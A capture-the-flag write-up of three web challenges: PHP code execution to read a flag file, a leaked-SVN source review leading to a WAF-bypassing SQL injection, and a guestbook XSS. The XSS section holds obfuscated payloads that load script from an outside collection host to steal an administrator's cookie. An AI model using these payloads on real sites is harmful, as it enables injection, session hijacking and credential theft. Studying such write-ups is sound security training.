PHP execise
This is clearly PHP code execution, but my first approach was overly complex: touch 1.php followed by file_put_contents to append a webshell. The shell connection failed. Later, many participants damaged the environment and even deleted root files. After restoration, file-writing functions no longer worked. The simpler route was directory listing followed by file reading, without obtaining a shell. glob() lists the PHP files:
print_r(glob("*.php"));

The flag file is visible, so the remaining task is to read it. Guess that it defines a flag variable and print it directly.
include 'flag_62cfc2dc115277d0c04ed0f74e48e3e9.php';echo $flag;

My approach involved some luck. Another method is
include('flag_62cfc2dc115277d0c04ed0f74e48e3e9.php');print_r( $GLOBALS);

For readers unfamiliar with PHP: $GLOBALS is a superglobal defined as follows:
$GLOBALS references every variable available in the global scope. It is an associative array whose keys are variable names.
Other PHP superglobals include $_SERVER, $_GET, $_POST, $_FILES, $_COOKIE, $_SESSION, $_REQUEST, and $_ENV.
wanna to see your hat?
This challenge was frustrating. I found an exposed .svn directory immediately.

Three SVN-leak tools—Seay, Svn-Extractor, and another—failed to download the source.rip-svn.pl) either failed or could not download files. I then examined wc.db. Sublime displayed only numbers, so I initially dismissed it. Later I realized it was a database and opened it with Navicat, revealing:

Opening this link downloads the site's source code. It was later removed, but I had already retrieved it. The directory tree is:

After reading the source, the challenge's structure becomes clear. Direct data extraction will not work because a WAF filters union, select, and from.
function waf($value){
$Filt = "\bUNION.+SELECT\b|SELECT.+?FROM";
if (preg_match("/".$Filt."/is",$value)==1){
die("found a hacker");
}
$value = str_replace(" ","",$value);
return $value;
}
GPC is enabled, and value passes through addslashes(). The crucial point is in index.php:
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='https://herschelian.files.wordpress.com/2012/06/green-hat-1.jpg'>",10);
}else{
output("<img src='http://seocockstars.com/wp-content/uploads/2010/06/black-fedora.jpg'>",1);
echo $flag;
}
echo "<br><br><br><a href='logout.php'>I give up!</a>";
}else{
output("<img src='https://www.computerhope.com/jargon/w/white-hat.jpg'>",10);
echo "<br><br><br><a href='login.php'>I want to check the color of my hat!</a>";
}
The code checks the cookie and prints $flag only when $_SESSION['hat'] is not green. To change that value, inspect login.php:
if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}
}
If the SQL query returns a nonempty result, the code sets $_SESSION['hat'] to black. The goal is therefore to make the query return a row. Construct this payload:
http:// 106.75.106.203:1515/route.php?act=login(post)name=or%0a1#%20'&submit=check
The resulting SQL is:
select count(*) from t_info where username = 'or 1#' or nickname = 'or 1#'
%0a performs HTTP splitting; MySQL interprets it as a newline, producing:

(Recommended reading: Understanding SQL Injection Bypasses for WAFs and Filters.)
Visiting index.php finally prints the flag.

Guestbook
I did not solve this during the competition, but colleagues helped afterward. The environment is now closed, so only the approach and earlier screenshots are preserved. Begin with the main page.

Preview Without Code renders the input message in preview.php, naturally suggesting XSS. Testing shows that it filters<img>、<script>、onerror、evaland related keywords. Bypasses exist; two are shown here.
<iframe src="javascript:e	v	a	l	(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 60, 115, 67, 82, 105, 80, 116, 32, 115, 82, 67, 61, 104, 116, 116, 112, 58, 47, 47, 120, 115, 115, 46, 102, 98, 105, 115, 98, 46, 99, 111, 109, 47, 67, 110, 74, 72, 62, 60, 47, 115, 67, 114, 73, 112, 84, 62, 34, 41, 59))"></iframe>
<meta http-equiv="refresh" content="0;
url=data:text/html, %64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%43%52%69%50%74%20%73%52%43%3d%68%74%74%70%3a%2f%2f%78%73%73%2e%66%62%69%73%62%2e%63%6f%6d%2f%43%6e%4a%48%3e%3c%2f%73%43%72%49%70%54%3e%22%29%3b ">
The test screenshot is below:

After bypassing XSS filtering, click Send.

The screenshot shows a code value, so I wrote a script to brute-force it.
The script is:
# coding=utf-8
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
for x in range(2345678,99998999):
for a in xrange(0x41, 0x5A):
code = md5(str(x)+ unichr(a))
if( code[0:6] == 'a87051'):
print "[*] OK!The result is "+ str(x)+str(unichr(a))
break

This was the code-testing page.

Submitted successfully; waiting for moderation. The goal is now clear: steal the administrator's cookie. I failed during the event because I never visited admin/review.php to inspect it. The final flag is stored in the administrator cookie.
Two challenges remain. I had nearly completed Flag Vending Machine and planned a separate article because the research extended beyond the challenge. The final challenge appeared near 1 a.m.; the environment closed before I could return to it.
The competition taught us a great deal. Alleged backroom deals between other teams did not affect us much because, apart from Web and the sign-in challenge, most categories were beyond us.
Looking forward to next year's national competition.